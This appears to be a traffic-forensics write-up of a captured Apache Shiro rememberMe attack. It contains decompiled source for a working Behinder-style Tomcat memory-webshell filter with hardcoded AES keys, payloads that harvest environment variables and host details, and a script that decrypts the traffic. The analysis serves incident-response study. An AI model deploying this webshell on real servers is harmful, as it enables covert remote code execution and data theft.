1
_ws.col.protocol == "HTTP"

1
POST /favicondemo.ico HTTP/1.1
2
...
3

4
eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...

1
http.request.method == "POST"

1
GET / HTTP/1.1
2
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
3
...

1
HTTP/1.1 302
2
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
3
Location: http://10.1.33.69:8080/login
4
...

1
GET / HTTP/1.1
2
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
3
...

1
HTTP/1.1 302
2
Location: http://10.1.33.69:8080/login
3
...

1
GET / HTTP/1.1
2
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
3
Authorization: Basic d2hvYW1p
4
...

1
HTTP/1.1 200
2
...
3

4
$$$cm9vdAo=$$$

1
POST / HTTP/1.1
2
...
3
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
4
p: HWmc2TLDoihdlr0N
5
path: /favicondemo.ico
6
...
7

8
user=yv66vgAAADQB5...GCQ%3D%3D

1
HTTP/1.1 200
2
Content-Type: text/html;charset=UTF-8
3
Transfer-Encoding: chunked
4
Date: Tue, 06 Jan 2026 05:57:43 GMT
5
Connection: close
6

7
->|Success|<-

1
package com.summersec.x;
2

3
import java.io.IOException;
4
import java.lang.reflect.Field;
5
import java.lang.reflect.InvocationTargetException;
6
import java.lang.reflect.Method;
7
import java.math.BigInteger;
8
import java.security.InvalidKeyException;
9
import java.security.MessageDigest;
10
import java.security.NoSuchAlgorithmException;
11
import java.util.EnumSet;
12
import java.util.HashMap;
13
import java.util.Map;
14
import javax.crypto.Cipher;
15
import javax.crypto.NoSuchPaddingException;
16
import javax.crypto.spec.SecretKeySpec;
17
import javax.servlet.DispatcherType;
18
import javax.servlet.Filter;
19
import javax.servlet.FilterChain;
20
import javax.servlet.FilterConfig;
21
import javax.servlet.FilterRegistration;
22
import javax.servlet.ServletContext;
23
import javax.servlet.ServletException;
24
import javax.servlet.ServletRequest;
25
import javax.servlet.ServletRequestWrapper;
26
import javax.servlet.ServletResponse;
27
import javax.servlet.ServletResponseWrapper;
28
import javax.servlet.http.HttpServletRequest;
29
import javax.servlet.http.HttpServletResponse;
30
import javax.servlet.http.HttpSession;
31
import org.apache.catalina.LifecycleState;
32
import org.apache.catalina.connector.RequestFacade;
33
import org.apache.catalina.connector.ResponseFacade;
34
import org.apache.catalina.core.ApplicationContext;
35
import org.apache.catalina.core.StandardContext;
36
import org.apache.catalina.util.LifecycleBase;
37

38
/* loaded from: download.class */
39
public final class BehinderFilter extends ClassLoader implements Filter {
40
    public HttpServletRequest request;
41
    public HttpServletResponse response;
42
    public String cs;
43
    public String Pwd;
44
    public String path;
45

46
    public BehinderFilter() {
47
        this.request = null;
48
        this.response = null;
49
        this.cs = "UTF-8";
50
        this.Pwd = "eac9fa38330a7535";
51
        this.path = "/favicondemo.ico";
52
    }
53

54
    public BehinderFilter(ClassLoader c) {
55
        super(c);
56
        this.request = null;
57
        this.response = null;
58
        this.cs = "UTF-8";
59
        this.Pwd = "eac9fa38330a7535";
60
        this.path = "/favicondemo.ico";
61
    }
62

63
    public Class g(byte[] b) {
64
        return super.defineClass(b, 0, b.length);
65
    }
66

67
    public static String md5(String s) throws NoSuchAlgorithmException {
68
        String ret = null;
69
        try {
70
            MessageDigest m = MessageDigest.getInstance("MD5");
71
            m.update(s.getBytes(), 0, s.length());
72
            ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);
73
        } catch (Exception e) {
74
        }
75
        return ret;
76
    }
77

78
    public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {
79
        parseObj(obj);
80
        this.Pwd = md5(this.request.getHeader("p"));
81
        this.path = this.request.getHeader("path");
82
        StringBuffer output = new StringBuffer();
83
        try {
84
            this.response.setContentType("text/html");
85
            this.request.setCharacterEncoding(this.cs);
86
            this.response.setCharacterEncoding(this.cs);
87
            output.append(addFilter());
88
        } catch (Exception var7) {
89
            output.append("ERROR:// " + var7.toString());
90
        }
91
        try {
92
            this.response.getWriter().print("->|" + output.toString() + "|<-");
93
            this.response.getWriter().flush();
94
            this.response.getWriter().close();
95
            return true;
96
        } catch (Exception e) {
97
            return true;
98
        }
99
    }
100

101
    public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {
102
        if (obj.getClass().isArray()) {
103
            Object[] data = (Object[]) obj;
104
            this.request = (HttpServletRequest) data[0];
105
            this.response = (HttpServletResponse) data[1];
106
            return;
107
        }
108
        try {
109
            Class clazz = Class.forName("javax.servlet.jsp.PageContext");
110
            this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
111
            this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
112
        } catch (Exception e) {
113
            if (obj instanceof HttpServletRequest) {
114
                this.request = (HttpServletRequest) obj;
115
                try {
116
                    Field req = this.request.getClass().getDeclaredField("request");
117
                    req.setAccessible(true);
118
                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
119
                    Field resp = request2.getClass().getDeclaredField("response");
120
                    resp.setAccessible(true);
121
                    this.response = (HttpServletResponse) resp.get(request2);
122
                } catch (Exception e2) {
123
                    try {
124
                        this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
125
                    } catch (Exception e3) {
126
                    }
127
                }
128
            }
129
        }
130
    }
131

132
    public String addFilter() throws Exception {
133
        Class filterMap;
134
        ServletContext servletContext = this.request.getServletContext();
135
        String filterName = this.path;
136
        String url = this.path;
137
        if (servletContext.getFilterRegistration(filterName) == null) {
138
            StandardContext standardContext = null;
139
            Field stateField = null;
140
            try {
141
                try {
142
                    Field contextField = servletContext.getClass().getDeclaredField("context");
143
                    contextField.setAccessible(true);
144
                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
145
                    Field contextField2 = applicationContext.getClass().getDeclaredField("context");
146
                    contextField2.setAccessible(true);
147
                    standardContext = (StandardContext) contextField2.get(applicationContext);
148
                    stateField = LifecycleBase.class.getDeclaredField("state");
149
                    stateField.setAccessible(true);
150
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
151
                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);
152
                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
153
                    Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);
154
                    filterStartMethod.setAccessible(true);
155
                    filterStartMethod.invoke(standardContext, (Object[]) null);
156
                    stateField.set(standardContext, LifecycleState.STARTED);
157
                    try {
158
                        filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
159
                    } catch (Exception e) {
160
                        filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
161
                    }
162
                    Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);
163
                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);
164
                    for (int i = 0; i < filterMaps.length; i++) {
165
                        Object filterMapObj = filterMaps[i];
166
                        Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]);
167
                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);
168
                        if (name.equalsIgnoreCase(filterName)) {
169
                            filterMaps[i] = filterMaps[0];
170
                            filterMaps[0] = filterMapObj;
171
                        }
172
                    }
173
                    stateField.set(standardContext, LifecycleState.STARTED);
174
                    return "Success";
175
                } catch (Exception var22) {
176
                    String var11 = var22.getMessage();
177
                    stateField.set(standardContext, LifecycleState.STARTED);
178
                    return var11;
179
                }
180
            } catch (Throwable th) {
181
                stateField.set(standardContext, LifecycleState.STARTED);
182
                throw th;
183
            }
184
        }
185
        return "Filter already exists";
186
    }
187

188
    /* JADX WARN: Multi-variable type inference failed */
189
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {
190
        HttpSession session = ((HttpServletRequest) req).getSession();
191
        ServletRequest servletRequestInvoke = req;
192
        ServletResponse servletResponseInvoke = resp;
193
        if (!(servletRequestInvoke instanceof RequestFacade)) {
194
            try {
195
                Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]);
196
                servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);
197
                while (!(servletRequestInvoke instanceof RequestFacade)) {
198
                    servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);
199
                }
200
            } catch (Exception e) {
201
            }
202
        }
203
        try {
204
            if (!(servletResponseInvoke instanceof ResponseFacade)) {
205
                Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]);
206
                servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);
207
                while (!(servletResponseInvoke instanceof ResponseFacade)) {
208
                    servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);
209
                }
210
            }
211
        } catch (Exception e2) {
212
        }
213
        Map obj = new HashMap();
214
        obj.put("request", servletRequestInvoke);
215
        obj.put("response", servletResponseInvoke);
216
        obj.put("session", session);
217
        try {
218
            session.putValue("u", this.Pwd);
219
            Cipher c = Cipher.getInstance("AES");
220
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
221
            new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
222
        } catch (Exception var7) {
223
            var7.printStackTrace();
224
        }
225
    }
226

227
    public byte[] base64Decode(String str) throws Exception {
228
        try {
229
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
230
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
231
        } catch (Exception e) {
232
            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
233
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
234
        }
235
    }
236

237
    public void init(FilterConfig filterConfig) throws ServletException {
238
    }
239

240
    public void destroy() {
241
    }
242
}

1
import Crypto.Cipher
2
from Crypto.Cipher import AES
3
import base64
4

5
def decrypt_behinder(data, key_str):
6
    key = key_str.encode('utf-8')
7
    raw_data = base64.b64decode(data)
8
    cipher = AES.new(key, AES.MODE_ECB)
9
    decrypted = cipher.decrypt(raw_data)
10
    # 去除 PKCS5Padding
11
    padding_len = decrypted[-1]
12
    return decrypted[:-padding_len]
13

14
key = "1f2c8075acd3d118"
15
body = "qjYfBvYIRKQ...ciIgehs="
16

17
data=decrypt_behinder(body, key)
18
print(data)
19
with open(f"payload2.bin", "wb") as file:
20
  file.write(data)

1
package net.qmrqiui;
2

3
import java.lang.reflect.InvocationTargetException;
4
import java.lang.reflect.Method;
5
import java.util.LinkedHashMap;
6
import java.util.Map;
7
import java.util.Random;
8
import javax.crypto.Cipher;
9
import javax.crypto.spec.SecretKeySpec;
10

11
/* compiled from: Echo.java */
12
/* loaded from: payload-favicondemo.ico.class */
13
public class Fmdrfajtrr {
14
    public static String content;
15
    public static String payloadBody;
16
    private Object Request;
17
    private Object Response;
18
    private Object Session;
19

20
    private byte[] Encrypt(byte[] bArr) throws Exception {
21
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
22
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
23
        cipher.init(1, secretKeySpec);
24
        byte[] bArrDoFinal = cipher.doFinal(bArr);
25
        try {
26
            Class<?> cls = Class.forName("java.util.Base64");
27
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
28
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
29
        } catch (Throwable th) {
30
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
31
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
32
        }
33
        return bArrDoFinal;
34
    }
35

36
    public Fmdrfajtrr() {
37
        content = "";
38
        content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v";
39
    }
40

41
    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
42
        Map<String, String> result = new LinkedHashMap<>();
43
        try {
44
            try {
45
                fillContext(obj);
46
                result.put("status", "success");
47
                result.put("msg", content);
48
                try {
49
                    Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
50
                    Method write = so.getClass().getMethod("write", byte[].class);
51
                    write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
52
                    so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
53
                    so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
54
                    return true;
55
                } catch (Exception e) {
56
                    e.printStackTrace();
57
                    return true;
58
                }
59
            } catch (Exception e2) {
60
                result.put("msg", e2.getMessage());
61
                result.put("status", "success");
62
                try {
63
                    Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
64
                    Method write2 = so2.getClass().getMethod("write", byte[].class);
65
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
66
                    so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
67
                    so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
68
                    return true;
69
                } catch (Exception e3) {
70
                    e3.printStackTrace();
71
                    return true;
72
                }
73
            }
74
        } catch (Throwable th) {
75
            try {
76
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
77
                Method write3 = so3.getClass().getMethod("write", byte[].class);
78
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
79
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
80
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
81
            } catch (Exception e4) {
82
                e4.printStackTrace();
83
            }
84
            throw th;
85
        }
86
    }
87

88
    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
89
        StringBuilder sb = new StringBuilder();
90
        System.getProperty("java.version");
91
        sb.append("{");
92
        for (String key : entity.keySet()) {
93
            sb.append("\"" + key + "\":\"");
94
            String value = entity.get(key);
95
            if (encode) {
96
                value = base64encode(value.getBytes());
97
            }
98
            sb.append(value);
99
            sb.append("\",");
100
        }
101
        if (sb.toString().endsWith(",")) {
102
            sb.setLength(sb.length() - 1);
103
        }
104
        sb.append("}");
105
        return sb.toString();
106
    }
107

108
    private void fillContext(Object obj) throws Exception {
109
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
110
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
111
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
112
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
113
        } else {
114
            Map<String, Object> objMap = (Map) obj;
115
            this.Session = objMap.get("session");
116
            this.Response = objMap.get("response");
117
            this.Request = objMap.get("request");
118
        }
119
        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
120
    }
121

122
    private String base64encode(byte[] data) throws Exception {
123
        String result;
124
        System.getProperty("java.version");
125
        try {
126
            getClass();
127
            Class Base64 = Class.forName("java.util.Base64");
128
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
129
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
130
        } catch (Throwable th) {
131
            getClass();
132
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
133
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
134
            result = result2.replace("\n", "").replace("\r", "");
135
        }
136
        return result;
137
    }
138

139
    private byte[] getMagic() throws Exception {
140
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
141
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
142
        Random random = new Random();
143
        byte[] buf = new byte[magicNum];
144
        for (int i = 0; i < buf.length; i++) {
145
            buf[i] = (byte) random.nextInt(256);
146
        }
147
        return buf;
148
    }
149
}

1
{"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="}

1
package org.arkpoti.qegfs;
2

3
import java.io.File;
4
import java.lang.reflect.InvocationTargetException;
5
import java.lang.reflect.Method;
6
import java.net.Inet4Address;
7
import java.net.InetAddress;
8
import java.net.NetworkInterface;
9
import java.net.SocketException;
10
import java.util.Enumeration;
11
import java.util.HashMap;
12
import java.util.Map;
13
import java.util.Properties;
14
import java.util.Random;
15
import java.util.Set;
16
import javax.crypto.Cipher;
17
import javax.crypto.spec.SecretKeySpec;
18

19
/* compiled from: BasicInfo.java */
20
/* loaded from: payload-favicondemo(2).ico.class */
21
public class Huhmocmx {
22
    public static String whatever;
23
    private Object Request;
24
    private Object Response;
25
    private Object Session;
26

27
    private byte[] Encrypt(byte[] bArr) throws Exception {
28
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
29
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
30
        cipher.init(1, secretKeySpec);
31
        byte[] bArrDoFinal = cipher.doFinal(bArr);
32
        try {
33
            Class<?> cls = Class.forName("java.util.Base64");
34
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
35
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
36
        } catch (Throwable th) {
37
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
38
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
39
        }
40
        return bArrDoFinal;
41
    }
42

43
    public Huhmocmx() {
44
        whatever = "";
45
        whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy";
46
    }
47

48
    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
49
        Map<String, String> result = new HashMap<>();
50
        try {
51
            fillContext(obj);
52
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
53
            Map<String, String> env = System.getenv();
54
            for (String name : env.keySet()) {
55
                basicInfo.append(name + "=" + env.get(name) + "<br/>");
56
            }
57
            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
58
            Properties props = System.getProperties();
59
            Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
60
            for (Map.Entry<Object, Object> entry : entrySet) {
61
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
62
            }
63
            String currentPath = new File("").getAbsolutePath();
64
            String driveList = "";
65
            File[] roots = File.listRoots();
66
            for (File f : roots) {
67
                driveList = driveList + f.getPath() + ";";
68
            }
69
            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
70
            Map<String, String> entity = new HashMap<>();
71
            entity.put("basicInfo", basicInfo.toString());
72
            entity.put("currentPath", currentPath);
73
            entity.put("driveList", driveList);
74
            entity.put("osInfo", osInfo);
75
            entity.put("arch", System.getProperty("os.arch"));
76
            entity.put("localIp", getInnerIp());
77
            result.put("status", "success");
78
            result.put("msg", buildJson(entity, true));
79
            try {
80
                Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
81
                Method write = so.getClass().getMethod("write", byte[].class);
82
                write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
83
                so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
84
                so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
85
                return true;
86
            } catch (Exception e) {
87
                return true;
88
            }
89
        } catch (Exception e2) {
90
            try {
91
                Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
92
                Method write2 = so2.getClass().getMethod("write", byte[].class);
93
                write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
94
                so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
95
                so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
96
                return true;
97
            } catch (Exception e3) {
98
                return true;
99
            }
100
        } catch (Throwable th) {
101
            try {
102
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
103
                Method write3 = so3.getClass().getMethod("write", byte[].class);
104
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
105
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
106
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
107
            } catch (Exception e4) {
108
            }
109
            throw th;
110
        }
111
    }
112

113
    private String getInnerIp() throws SocketException {
114
        String ips = "";
115
        try {
116
            Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();
117
            while (netInterfaces.hasMoreElements()) {
118
                NetworkInterface netInterface = netInterfaces.nextElement();
119
                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();
120
                while (addresses.hasMoreElements()) {
121
                    InetAddress ip = addresses.nextElement();
122
                    if (ip != null && (ip instanceof Inet4Address)) {
123
                        ips = ips + ip.getHostAddress() + " ";
124
                    }
125
                }
126
            }
127
        } catch (Exception e) {
128
        }
129
        return ips.replace("127.0.0.1", "").trim();
130
    }
131

132
    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
133
        StringBuilder sb = new StringBuilder();
134
        String version = System.getProperty("java.version");
135
        sb.append("{");
136
        for (String key : entity.keySet()) {
137
            sb.append("\"" + key + "\":\"");
138
            String value = entity.get(key).toString();
139
            if (encode) {
140
                if (version.compareTo("1.9") >= 0) {
141
                    getClass();
142
                    Class Base64 = Class.forName("java.util.Base64");
143
                    Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
144
                    value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
145
                } else {
146
                    getClass();
147
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
148
                    value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
149
                }
150
            }
151
            sb.append(value);
152
            sb.append("\",");
153
        }
154
        sb.setLength(sb.length() - 1);
155
        sb.append("}");
156
        return sb.toString();
157
    }
158

159
    private String base64encode(byte[] data) throws Exception {
160
        String result;
161
        System.getProperty("java.version");
162
        try {
163
            getClass();
164
            Class Base64 = Class.forName("java.util.Base64");
165
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
166
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
167
        } catch (Throwable th) {
168
            getClass();
169
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
170
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
171
            result = result2.replace("\n", "").replace("\r", "");
172
        }
173
        return result;
174
    }
175

176
    private void fillContext(Object obj) throws Exception {
177
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
178
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
179
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
180
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
181
        } else {
182
            Map<String, Object> objMap = (Map) obj;
183
            this.Session = objMap.get("session");
184
            this.Response = objMap.get("response");
185
            this.Request = objMap.get("request");
186
        }
187
        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
188
    }
189

190
    private byte[] getMagic() throws Exception {
191
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
192
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
193
        Random random = new Random();
194
        byte[] buf = new byte[magicNum];
195
        for (int i = 0; i < buf.length; i++) {
196
            buf[i] = (byte) random.nextInt(256);
197
        }
198
        return buf;
199
    }
200
}